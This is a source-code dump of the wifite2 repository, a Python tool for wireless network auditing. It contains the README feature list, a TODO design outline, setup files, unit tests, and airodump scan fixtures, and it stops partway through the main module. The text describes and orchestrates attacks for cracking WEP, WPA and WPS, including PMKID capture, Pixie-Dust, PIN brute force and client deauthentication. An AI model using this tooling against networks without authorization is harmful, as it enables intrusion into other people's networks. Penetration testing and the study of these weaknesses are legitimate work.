[`hcxdumptool`](https://github.com/ZerBea/hcxdumptool): For capturing PMKID hashes. * [`hcxpcaptool`](https://github.com/ZerBea/hcxtools): For converting PMKID packet captures into `hashcat`'s format. Run Wifite ---------- ``` git clone https://github.com/derv82/wifite2.git cd wifite2 sudo ./Wifite.py ``` Install Wifite -------------- To install onto your computer (so you can just run `wifite` from any terminal), run: ```bash sudo python setup.py install ``` This will install `wifite` to `/usr/sbin/wifite` which should be in your terminal path. **Note:** Uninstalling is [not as easy](https://stackoverflow.com/questions/1550226/python-setup-py-uninstall#1550235). The only way to uninstall is to record the files installed by the above command and *remove* those files: ```bash sudo python setup.py install --record files.txt \ && cat files.txt | xargs sudo rm \ && rm -f files.txt ``` Brief Feature List ------------------ * [PMKID hash capture](https://hashcat.net/forum/thread-7717.html) (enabled by-default, force with: `--pmkid`) * WPS Offline Brute-Force Attack aka "Pixie-Dust". (enabled by-default, force with: `--wps-only --pixie`) * WPS Online Brute-Force Attack aka "PIN attack". (enabled by-default, force with: `--wps-only --no-pixie`) * WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture (enabled by-default, force with: `--no-wps`) * Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available) * Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte) * Automatically decloaks hidden access points while scanning or attacking. * Note: Only works when channel is fixed. Use `-c ` * Disable this using `--no-deauths` * 5Ghz support for some wireless cards (via `-5` switch). * Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`) * Stores cracked passwords and handshakes to the current directory (`--cracked`) * Includes information about the cracked access point (Name, BSSID, Date, etc). * Easy to try to crack handshakes or PMKID hashes against a wordlist (`--crack`) What's new? ----------- Comparing this repo to the "old wifite" @ https://github.com/derv82/wifite * **Less bugs** * Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this). * No longer "one monolithic script". Has working unit tests. Pull requests are less-painful! * **Speed** * Target access points are refreshed every second instead of every 5 seconds. * **Accuracy** * Displays realtime Power level of currently-attacked target. * Displays more information during an attack (e.g. % during WEP chopchop attacks, Pixie-Dust step index, etc) * **Educational** * The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands. * This can help debug why Wifite is not working for you. Or so you can learn how these tools are used. * More-actively developed. * Python 3 support. * Sweet new ASCII banner. What's gone? ------------ * Some command-line arguments (`--wept`, `--wpst`, and other confusing switches). * You can still access some of these obscure options, try `wifite -h -v` What's not new? --------------- * (Mostly) Backwards compatible with the original `wifite`'s arguments. * Same text-based interface everyone knows and loves. Screenshots ----------- Cracking WPS PIN using `reaver`'s Pixie-Dust attack, then fetching WPA key using `bully`: ![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/Q5KSDbg.gif) ------------- Cracking WPA key using PMKID attack: ![PMKID attack](https://i.imgur.com/CR8oOp0.gif) ------------- Decloaking & cracking a hidden access point (via the WPA Handshake attack): ![Decloaking and Cracking a hidden access point](https://i.imgur.com/F6VPhbm.gif) ------------- Cracking a weak WEP password (using the WEP Replay attack): ![Cracking a weak WEP password](https://i.imgur.com/jP72rVo.gif) ------------- Cracking a pre-captured handshake using John The Ripper (via the `--crack` option): ![--crack option](https://i.imgur.com/iHcfCjp.gif) ================================================ FILE: TODO.md ================================================ # TODO This file is a braindump of ideas to improve Wifite2 (or forward-looking to "Wifite3") ------------------------------------------------------ ### Better Dependency Handling I can rely on `pip` + `requirements.txt` for python libraries, but most of wifite's dependencies are installed programs. When a dependency is not found, Wifite should walk the user through installing all required dependencies, and maybe the optional dependencies as well. The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc). Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achieve this. Requirements: 1. A base *Dependency* class * `@abstractmethods` for `exists()`, `name()`, `install()`, `print_install()` 2. Update all dependencies to inherit *Dependency* * Override abstract methods 3. Dependency-checker to run at Wifite startup. * Check if all required dependencies exists. * If required deps are missing, Prompt to install all (optional+required) or just required, or to continue w/o install with warning. * If optional deps are missing, suggest `--install` without prompting. * Otherwise continue silently. ------------------------------------------------------ ### Support Other Distributions (not just Kali x86/64) Off the top of my head: * Raspberry Pi (or any Debian distro) * Raspberry Pi + Kali (?) * Kali Nethunter * Various other distributions (backbox, pentoo, blackarch, etc) Deprecation of "core" programs: * `iwconfig` is deprecated in favor of `iw` * `ifconfig` is deprecated in favor of `ip` Versioning problems: * Pixiewps output differs depending on version * Likewise for reaver & bully * Reaver and bully args have changed significantly over the years (added/removed/required) * airodump-ng --write-interval=1 doesn't work on older versions * Same with --wps and a few other options :( * airmon-ng output differs, wifite sees "phy0" instead of the interface name. Misc problems: * Some people have problems with multiple wifi cards plugged in * Solution: User prompt when no devices are in monitor mode (ask first). * Some people want wifite to kill network manager, others don't. * Solution: User prompt to kill processes * Some people need --ignore-negative-one on some wifi cards. ------------------------------------------------------ ### Command-line Arguments Wifite is a 'Spray and Pray', 'Big Red Button' script. Wifite should not provide obscure options that only advanced users can understand. Advanced users can simply use Wifite's dependencies directly. -------------------------------- Every option in Wifite's should either: 1. Significantly affect how Wifite behaves (e.g. `pillage`, `5ghz`, '--no-wps', '--nodeauths') 2. Or narrow down the list of targets (e.g. filtering --wps --wep --channel) 3. Or set some flag required by certain hardware (packets per second) Any options that don't fall into the above buckets should be removed. -------------------------------- Currently there are way too many command-line options: * 8 options to configure a timeout in seconds (wpat, wpadt, pixiet, pixiest, wpst, wept, weprs, weprc) * I don't even know what these are or if they work anymore. * 5 options to configure Thresholds (WPS retry/fail/timeout, WEP pps/ivs) * And the WPS options are NOT consistent between Bully & Reaver. * "Num deauths" etc For most of these, We can just set a sane default value to avoid the `--help` Wall-of-Text. -------------------------------- The "Commands" (`cracked`, `crack`, `check`) should probably not start with `--`, e.g. `--crack` should be simply `crack` ------------------------------------------------------ ### Native Python Implementations Some dependencies of Wifite (aircrack suite, tshark, etc) could be replaced with native Python implementations. *Scapy* allows listening to and inspecting packets, writing pcap files, and other features. There's ways to change wireless channels, enumerate wireless devices, send Deauth packets, etc. all within Python. We could still utilize libraries when it's more trouble than it's worth to port to Python, like some of aircrack (chopchop, packetforge-ng). And some native Python implementations might be cross-platform, which would allow... ------------------------------------------------------ ### Non-Linux support (OSX & Windows) Some of Wifite's dependencies work on other OSes (airodump) but some don't (airmon). If it's possible to run these programs on Windows or OSX, Wifite should support that. ------------------------------------------------------ ### WPS Attacks Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used by bully? Ideally for Pixie-Dust, we'd have: 1. Switch to set bully/reaver timeout 2. Identical counters between bully/reaver (failures, timeouts, lockouts) * I don't think users should be able to set failure/timeout thresholds (no switches). 3. Identical statuses between bully/reaver. * Errors: "WPSFail", "Timeout", "NoAssoc", etc * Statuses: "Waiting for target", "Trying PIN", "Sending M2 message", "Running pixiewps", etc. * "Step X/Y" is nice, but not entirely accurate. * It's weird when we go from (6/8) to (5/8) without explanation. And the first 4 are usually not displayed. 3. Countdown timer until attack is aborted (e.g. 5min) 4. Countdown timer on "step timeout" (time since last status changed, e.g. 30s) Order of statuses: 1. Waiting for beacon 2. Associating with target 3. Trying PIN / EAPOL start / identity response / M1,M2 (M3,M4) 4. Running pixiewps 5. Cracked or Failed And as for PIN cracking.. um.. Not even sure this should be an option in Wifite TBH. PIN cracking takes days and most APs auto-lock after 3 attempts. Multi-day (possibly multi-month) attacks aren't a good fit for Wifite. Users with that kind of dedication can run bully/reaver themselves. ------------------------------------------------------ ### Directory structure **Note: This was mostly done in the great refactoring of Late March 2018** Too modular in some places, not modular enough in others. Not "/py": * **aircrack/** * `aircrack.py` <- process * `airmon.py` <- process * `airodump.py` <- process * `aireplay.py` <- process * **attack/** * `decloak.py` <- aireplay, airodump * `wps-pin.py` <- reaver, bully * `wps-pixie.py` <- reaver, bully * `wpa.py` (handshake only) <- aireplay, airodump * `wep.py` (relay, chopchop) <- aireplay, airodump * `config.py` * **crack/** * `crackwep.py` <- target, result, aireplay, aircrack * `crackwpa.py` <- target, handshake, result, aircrack * **handshake/** * `tshark.py` <- process * `cowpatty.py` <- process * `pyrit.py` <- process * `handshake.py` <- tshark, cowpatty, pyrit, aircrack * `output.py` (color/printing) <- config * `process.py` <- config * `scan.py` (airodump output to target) <- config, target, airodump * **target/** * `target.py` (ssid, pcap file) <- airodump, tshark * `result.py` (PIN/PSK/KEY) ------------------------------------------------------ ### Dependency injection * Initialize each dependency at startup or when first possible. * Pass dependencies to modules that require them. * Modules that call aircrack expect aircrack.py * Modules that print expect output.py * Unit test using mocked dependencies. ------------------------------------------------------ ### Dependencies **AIRMON** * Detect interfaces in monitor mode. * Check if config interface name is found. * Enable or Disable monitor mode on a device. **AIRODUMP** * Run as daemon (background thread) * Accept flags as input (--ivs, --wps, etc) * Construct a Target for all found APs * Each Target includes list of associated Clients * Can parse CSV to find lines with APs and lines with Clients * Option to read from 1) Stdout, or 2) a CapFile * Identify Target's attributes: ESSID, BSSID, AUTH * Identify cloaked Targets (ESSID=null) * Return filtered list of Targets based on AUTH, ESSID, BSSID * XXX: Reading STDOUT might not match what's in the Cap file... * XXX: But STDOUT gives us WPS and avoids WASH... **TARGET** * Constructed via passed-in CSV (airodump-ng --output-format=csv) * Needs info on the current AP (1 line) and ALL clients (n lines) * Keep track of BSSID, ESSID, Channel, AUTH, other attrs * Construct Clients of target * Start & return an Airodump Daemon (e.g. WEP needs --ivs flag) **AIREPLAY** * Fakeauth * (Daemon) Start fakeauth process * Detect fakeauth status * End fakeauth process * Deauth * Call aireplay-ng to deauth a Client BSSID+ESSID * Return status of deauth * Chopchop & Fragment 1. (Daemon) Start aireplay-ng --chopchop or --fragment on Target 2. LOOP 1. Detect chopchop/fragment status (.xor or EXCEPTION) 2. If .xor is created: * Call packetforge-ng to forge cap * Arpreplay on forged cap 3. If running time > threshold, EXCEPTION * Arpreplay 1. (Daemon) Start aireplay-ng to replay given capfile 2. Detect status of replay (# of packets) 3. If running time > threshold and/or packet velocity < threshold, EXCEPTION **AIRCRACK** * Start aircrack-ng for WEP: Needs pcap file with IVS * Start aircrack-ng for WPA: Needs pcap file containing Handshake * Check status of aircrack-ng (`percenage`, `keys-tried`) * Return cracked key **CONFIG** * Key/value stores: 1) defaults and 2) customer-defined * Reads from command-line arguments (+input validation) * Keys to filter scanned targets by some attribute * Filter by AUTH: --wep, --wpa * Filter by WPS: --wps * Filter by channel: --channel * Filter by bssid: --bssid * Filter by essid: --essid * Keys to specify attacks * WEP: arp-replay, chopchop, fragmentation, etc * WPA: Just handshake? * WPS: pin, pixie-dust * Keys to specify thresholds (running time, timeouts) * Key to specify the command to run: * SCAN (default), CRACK, INFO ------------------------------------------------------ ### Process Workflow **MAIN**: Starts everything 1. Parse command-line args, override defaults 2. Start appropriate COMMAND (SCAN, ATTACK, CRACK, INFO) **SCAN**: (Scan + Attack + Result) 1. Find interface, start monitor mode (airmon.py) 2. LOOP 1. Get list of filtered targets (airodump.py) * Option: Read from CSV every second or parse airodump STDOUT 2. Decloak SSIDs if possible (decloak.py) 3. Sort targets; Prefer WEP over WPS over WPA(1+ clients) over WPA(noclient) 4. Print targets to screen (ESSID, Channel, Power, WPS, # of clients) 5. Print decloaked ESSIDs (if any) 6. Wait 5 seconds, or until user interrupts 3. Prompt user to select target or range of targets 4. FOR EACH target: 1. ATTACK target based on CONFIG (WEP/WPA/WPS) 2. Print attack status (cracked or error) 3. WPA-only: Start cracking Handshake 4. If cracked, test credentials by connecting to the router (?). **ATTACK** (All types) Returns cracked target information or throws exception **ATTACK WEP** 0. Expects: Target 1. Start Airodump to capture IVS from the AP (airodump) 2. LOOP 1. (Daemon) Fakeauth with AP if needed (aireplay, config) 2. (Daemon?) Perform appropriate WEP attack (aireplay, packetforge) 3. If airodump IVS > threshold: 1. (Daemon) If Aircrack daemon is not running, start it. (aircrack) 2. If successful, add password to Target and return. 4. If aireplay/others and IVS has not changed in N seconds, restart attack. 5. If running time > threshold, EXCEPTION **ATTACK WPA**: Returns cracked Target or Handshake of Target 0. Expects: Target 1. Start Airodump to capture PCAP from the Target AP 2. LOOP 1. Get list of all associated Clients, add "*BROADCAST*" 2. (Daemon) Deauth a single client in list. 3. Print status (time remaining, clients, deauths sent) 4. Copy PCAP and check for Handshake 5. If handshake is found, save to ./hs/ and BREAK 6. If running time > threshold, EXCEPTION 3. (Daemon) If Config has a wordlist, try crack handshake (airodump) 1. If successful, add PSK to target and return 4. If not cracking or crack is unsuccessful, mark PSK as "Handshake" and return **ATTACK WPS** 0. Expects: Target 1. For each attack (PIN and/or Pixie-Dust based on CONFIG): 1. (Daemon) Start Reaver/Bully (PIN/Pixie-Dust) 2. LOOP 1. Print Pixie status 2. If Pixie is successful, add PSK+PIN to Target and return 3. If Pixie failures > threshold, EXCEPTION 4. If Pixie is locked out == CONFIG, EXCEPTION 5. If running time > threshold, EXCEPTION **CRACK WEP** 0. Expects: String pcap file containing IVS 2. FOR EACH Aircrack option: 1. (Daemon) Start Aircrack 2. LOOP 1. Print Aircrack status 2. If Aircrack is successful, print result 3. If unsuccessful, EXCEPTION **CRACK WPA** 0. Expects: String pcap file containing Handshake (optional: BSSID/ESSID) 1. Select Cracking option (Aircrack, Cowpatty, Pyrit) 2. (Daemon) Start attack 3. LOOP 1. Print attack status if possible 2. If successful, print result 3. If unsuccessful, EXCEPTION **INFO** * Print list of handshake files with ESSIDs, Dates, etc. * Show options to `--crack` handshakes (or execute those commands directly) * Print list of cracked Targets (including WEP/WPA/WPS key) ------------------------------------------------------ ================================================ FILE: Wifite.py ================================================ #!/usr/bin/env python # Note: This script runs Wifite from within a cloned git repo. # The script `bin/wifite` is designed to be run after installing (from /usr/sbin), not from the cwd. from wifite import __main__ __main__.entry_point() ================================================ FILE: bin/wifite ================================================ #!/usr/bin/env python from wifite import __main__ __main__.entry_point() ================================================ FILE: runtests.sh ================================================ #!/bin/sh python2.7 -m unittest discover tests -v ================================================ FILE: setup.cfg ================================================ [install] install-scripts=/usr/sbin ================================================ FILE: setup.py ================================================ from distutils.core import setup from wifite.config import Configuration setup( name='wifite', version=Configuration.version, author='derv82', author_email='derv82@gmail.com', url='https://github.com/derv82/wifite2', packages=[ 'wifite', 'wifite/attack', 'wifite/model', 'wifite/tools', 'wifite/util', ], data_files=[ ('share/dict', ['wordlist-top4800-probable.txt']) ], entry_points={ 'console_scripts': [ 'wifite = wifite.wifite:entry_point' ] }, license='GNU GPLv2', scripts=['bin/wifite'], description='Wireless Network Auditor for Linux', #long_description=open('README.md').read(), long_description='''Wireless Network Auditor for Linux. Cracks WEP, WPA, and WPS encrypted networks. Depends on Aircrack-ng Suite, Tshark (from Wireshark), and various other external tools.''', classifiers = [ "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3" ] ) ================================================ FILE: tests/__init__.py ================================================ ================================================ FILE: tests/files/airmon.output ================================================ No interfering processes found PHY Interface Driver Chipset phy2 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187 (mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon) (mac80211 station mode vif disabled for [phy2]wlan0) ================================================ FILE: tests/files/airodump-weird-ssids.csv ================================================ BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key AA:BB:CC:DD:EE:FF, 2018-04-06 18:21:23, 2018-04-06 18:21:24, 10, 54, WPA2, CCMP,PSK, -34, 5, 0, 0. 0. 0. 0, 24, Comma\, no trailing space, AA:BB:CC:DD:EE:FF, 2018-04-06 18:19:17, 2018-04-06 18:19:19, 10, 54, WPA2, CCMP,PSK, -35, 18, 0, 0. 0. 0. 0, 20, \"Quoted ESSID\, Comma\, no trailing spaces. \", AA:BB:CC:DD:EE:FF, 2018-04-06 18:35:29, 2018-04-06 18:35:30, 10, 54, WPA2, CCMP,PSK, -31, 12, 0, 0. 0. 0. 0, 22, "Comma\, Trailing space ", AA:BB:CC:DD:EE:FF, 2018-04-06 18:22:45, 2018-04-06 18:22:46, 10, 54, WPA2, CCMP,PSK, -29, 15, 0, 0. 0. 0. 0, 30, "\"quote\" comma\, trailing space ", AA:BB:CC:DD:EE:FF, 2018-04-06 18:50:11, 2018-04-06 18:50:17, 10, 54, WPA2, CCMP,PSK, -20, 43, 0, 0. 0. 0. 0, 19, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs ================================================ FILE: tests/files/airodump.csv ================================================ BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key 78:24:AF:D5:29:98, 2015-05-30 11:28:44, 2015-05-30 11:28:44, 6, -1, WPA, , , -73, 0, 1, 0. 0. 0. 0, 0, , 00:13:10:33:A6:56, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA, TKIP,PSK, -71, 7, 0, 0. 0. 0. 0, 11, orangefloss, D8:50:E6:D7:22:95, 2015-05-30 11:28:43, 2015-05-30 11:28:43, -1, -1, , , , -70, 0, 0, 0. 0. 0. 0, 0, , F0:99:BF:0A:B5:B0, 2015-05-30 11:28:45, 2015-05-30 11:28:48, 6, 54, WPA2, CCMP,PSK, -70, 3, 0, 0. 0. 0. 0, 22, Ingham's Wi-Fi Network, 60:02:92:BC:08:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -68, 17, 0, 0. 0. 0. 0, 13, HOME-89B5-2.4, 00:25:BC:8B:24:95, 2015-05-30 11:28:44, 2015-05-30 11:28:44, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -68, 1, 0, 0. 0. 0. 0, 8, atlantis, 60:02:92:BC:08:02, 2015-05-30 11:28:44, 2015-05-30 11:28:49, 6, 54, OPN, , , -68, 5, 0, 0. 0. 0. 0, 11, xfinitywifi, 00:23:69:BA:6D:F0, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -67, 21, 0, 0. 0. 0. 0, 15, Pine Lake Girl2, 46:32:C8:5C:0E:3D, 2015-05-30 11:28:44, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -67, 6, 0, 0. 0. 0. 0, 12, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, 44:32:C8:5C:0E:3C, 2015-05-30 11:28:44, 2015-05-30 11:28:48, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -67, 5, 3, 0. 0. 0. 0, 9, HOME-0E3C, 60:02:92:BC:08:01, 2015-05-30 11:28:44, 2015-05-30 11:28:49, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -69, 14, 0, 0. 0. 0. 0, 0, , CC:A4:62:E8:E5:F0, 2015-05-30 11:28:44, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP TKIP,PSK, -67, 8, 0, 0. 0. 0. 0, 9, HOME-E5F2, C2:A4:62:E8:E5:F0, 2015-05-30 11:28:44, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -65, 13, 0, 0. 0. 0. 0, 0, , C6:A4:62:E8:E5:F0, 2015-05-30 11:28:45, 2015-05-30 11:28:50, 6, 54, OPN, , , -65, 14, 0, 0. 0. 0. 0, 11, xfinitywifi, F0:99:BF:05:20:64, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -62, 30, 0, 0. 0. 0. 0, 4, JJML, F2:64:20:05:BF:90, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -62, 23, 0, 0. 0. 0. 0, 9, JJMLGuest, 90:84:0D:DA:A8:87, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -62, 33, 5, 0. 0. 0. 0, 10, Rolston123, 10:0D:7F:8C:C1:FB, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -62, 12, 0, 0. 0. 0. 0, 12, The Internet, 00:00:00:00:00:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WEP, WEP, , -57, 138, 0, 0. 0. 0. 0, 0, , 00:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP TKIP,PSK, -52, 32, 6, 0. 0. 0. 0, 9, HOME-1102, 00:24:7B:AB:5C:EE, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -55, 16, 25, 0. 0. 0. 0, 11, myqwest0445, 02:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -53, 41, 0, 0. 0. 0. 0, 0, , 06:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, OPN, , , -53, 56, 0, 0. 0. 0. 0, 11, xfinitywifi, 00:F7:6F:CD:B2:2A, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -48, 44, 0, 0. 0. 0. 0, 13, im human 2015, 30:85:A9:39:D2:18, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -21, 44, 4, 0. 0. 0. 0, 32, Uncle Router's Gigabit LAN Party, 00:0E:58:FA:7C:61, 2015-05-30 11:28:44, 2015-05-30 11:28:49, 6, -1, WPA, , , -1, 0, 57, 0. 0. 0. 0, 0, , 00:0E:58:F8:0B:B5, 2015-05-30 11:28:44, 2015-05-30 11:28:48, 6, -1, WPA, , , -1, 0, 59, 0. 0. 0. 0, 0, , 28:01:00:00:D0:00, 2015-05-30 11:28:44, 2015-05-30 11:28:44, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 00:0E:58:E9:36:B3, 2015-05-30 11:28:44, 2015-05-30 11:28:48, 6, -1, WPA, , , -1, 0, 2, 0. 0. 0. 0, 0, , 05:00:40:00:BB:7C, 2015-05-30 11:28:50, 2015-05-30 11:28:50, -1, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs 3A:01:44:32:C8:5C, 2015-05-30 11:28:44, 2015-05-30 11:28:44, -69, 3, 28:01:00:00:D0:00, 54:35:30:23:62:8E, 2015-05-30 11:28:43, 2015-05-30 11:28:50, -64, 7, 00:1D:D5:9B:11:00,HOME-1102 10:40:F3:93:13:FA, 2015-05-30 11:28:44, 2015-05-30 11:28:48, -52, 4, 00:F7:6F:CD:B2:2A, 00:0E:58:FA:7C:61, 2015-05-30 11:28:45, 2015-05-30 11:28:50, -50, 6, 00:0E:58:E9:36:B3,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66 00:0E:58:E9:36:B3, 2015-05-30 11:28:43, 2015-05-30 11:28:49, -51, 124, 00:0E:58:FA:7C:61,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66 00:0E:58:F8:0B:B5, 2015-05-30 11:28:44, 2015-05-30 11:28:50, -48, 9, 00:0E:58:E9:36:B3,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66 5C:93:A2:0D:3D:63, 2015-05-30 11:28:44, 2015-05-30 11:28:50, -1, 22, 00:24:7B:AB:5C:EE, ================================================ FILE: tests/test_Airmon.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import sys sys.path.insert(0, '..') from wifite.tools.airmon import Airmon import unittest class TestAirmon(unittest.TestCase): def test_airmon_start(self): # From https://github.com/derv82/wifite2/issues/67 stdout = ''' PHY Interface Driver Chipset phy0 wlan0 iwlwifi Intel Corporation Centrino Ultimate-N 6300 (rev 3e) (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) ''' mon_iface = Airmon._parse_airmon_start(stdout) assert mon_iface == 'wlan0mon', 'Expected monitor-mode interface to be "wlan0mon" but got "{}"'.format(mon_iface) ================================================ FILE: tests/test_Airodump.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import sys sys.path.insert(0, '..') from wifite.tools.airodump import Airodump import unittest class TestAirodump(unittest.TestCase): ''' Test suite for Wifite's interaction with the Airodump tool ''' def test_airodump_weird_characters(self): csv_filename = self.getFile('airodump-weird-ssids.csv') targets = Airodump.get_targets_from_csv(csv_filename) target = targets[0] expected = 'Comma, no trailing space' assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) target = targets[1] expected = '"Quoted ESSID, Comma, no trailing spaces. "' assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) target = targets[2] expected = 'Comma, Trailing space ' assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) target = targets[3] expected = '"quote" comma, trailing space ' assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) # Hidden access point target = targets[4] assert target.essid_known == False, 'ESSID full of null characters should not be known' expected = None assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len def getFile(self, filename): ''' Helper method to parse targets from filename ''' import os, inspect this_file = os.path.abspath(inspect.getsourcefile(self.getFile)) this_dir = os.path.dirname(this_file) return os.path.join(this_dir, 'files', filename) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/test_Handshake.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import sys sys.path.insert(0, '..') from wifite.model.handshake import Handshake from wifite.util.process import Process import unittest class TestHandshake(unittest.TestCase): ''' Test suite for Target parsing an generation ''' def getFile(self, filename): ''' Helper method to parse targets from filename ''' import os, inspect this_file = os.path.abspath(inspect.getsourcefile(self.getFile)) this_dir = os.path.dirname(this_file) return os.path.join(this_dir, 'files', filename) def testAnalyze(self): hs_file = self.getFile('handshake_exists.cap') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') try: hs.analyze() except Exception: fail() @unittest.skipUnless(Process.exists('tshark'), 'tshark is missing') def testHandshakeTshark(self): hs_file = self.getFile('handshake_exists.cap') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') assert(len(hs.tshark_handshakes()) > 0) @unittest.skipUnless(Process.exists('pyrit'), 'pyrit is missing') def testHandshakePyrit(self): hs_file = self.getFile('handshake_exists.cap') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') assert(len(hs.pyrit_handshakes()) > 0) @unittest.skipUnless(Process.exists('cowpatty'), 'cowpatty is missing') def testHandshakeCowpatty(self): hs_file = self.getFile('handshake_exists.cap') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs.divine_bssid_and_essid() assert(len(hs.cowpatty_handshakes()) > 0) @unittest.skipUnless(Process.exists('aircrack-ng'), 'aircrack-ng is missing') def testHandshakeAircrack(self): hs_file = self.getFile('handshake_exists.cap') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') assert(len(hs.aircrack_handshakes()) > 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/test_Target.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from wifite.tools.airodump import Airodump import unittest class TestTarget(unittest.TestCase): ''' Test suite for Target parsing an generation ''' airodump_csv = 'airodump.csv' def getTargets(self, filename): ''' Helper method to parse targets from filename ''' import os, inspect this_file = os.path.abspath(inspect.getsourcefile(TestTarget.getTargets)) this_dir = os.path.dirname(this_file) csv_file = os.path.join(this_dir, 'files', filename) # Load targets from CSV file return Airodump.get_targets_from_csv(csv_file) def testTargetParsing(self): ''' Asserts target parsing finds targets ''' targets = self.getTargets(TestTarget.airodump_csv) assert(len(targets) > 0) def testTargetClients(self): ''' Asserts target parsing captures clients properly ''' targets = self.getTargets(TestTarget.airodump_csv) for t in targets: if t.bssid == '00:1D:D5:9B:11:00': assert(len(t.clients) > 0) if __name__ == '__main__': unittest.main() ================================================ FILE: wifite/__init__.py ================================================ ================================================ FILE: wifite/__main__.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- try: from .config import Configuration except (ValueError, ImportError) as e: raise Exception('You may need to run wifite from the root directory (which includes README.md)', e) from .util.color import Color import os import sys class Wifite(object): def __init__(self): ''' Initializes Wifite. Checks for root permissions and ensures dependencies are installed. ''' self.print_banner() Configuration.initialize(load_interface=False) if os.getuid() != 0: Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}') Color.pl('{!} {R}re-run with {O}sudo{W}') Configuration.exit_gracefully(0) from .tools.dependency import Dependency Dependency.run_dependency_check() def start(self): ''' Starts target-scan + attack loop, or launches utilities dpeending on user input. ''' from .model.result import CrackResult from .model.handshake import Handshake from .util.crack import CrackHelper if Configuration.show_cracked: CrackResult.display() elif Configuration.check_handshake: Handshake.check() elif Configuration.crack_handshake: CrackHelper.run() else: Configuration.get_monitor_mode_interface() self.scan_and_attack() def print_banner(self): '''Displays ASCII art of the highest caliber.''' Color.pl(r' {G} . {GR}{D} {W}{G} . {W}') Color.pl(r' {G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version) Color.pl(r' {G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}') Color.pl(r' {G}`. · `{GR}{D} /¯\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}') Color.pl(r' {G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}') Color.pl('') def scan_and_attack(self): ''' 1) Scans for targets, asks user to select targets 2) Attacks each target ''' from 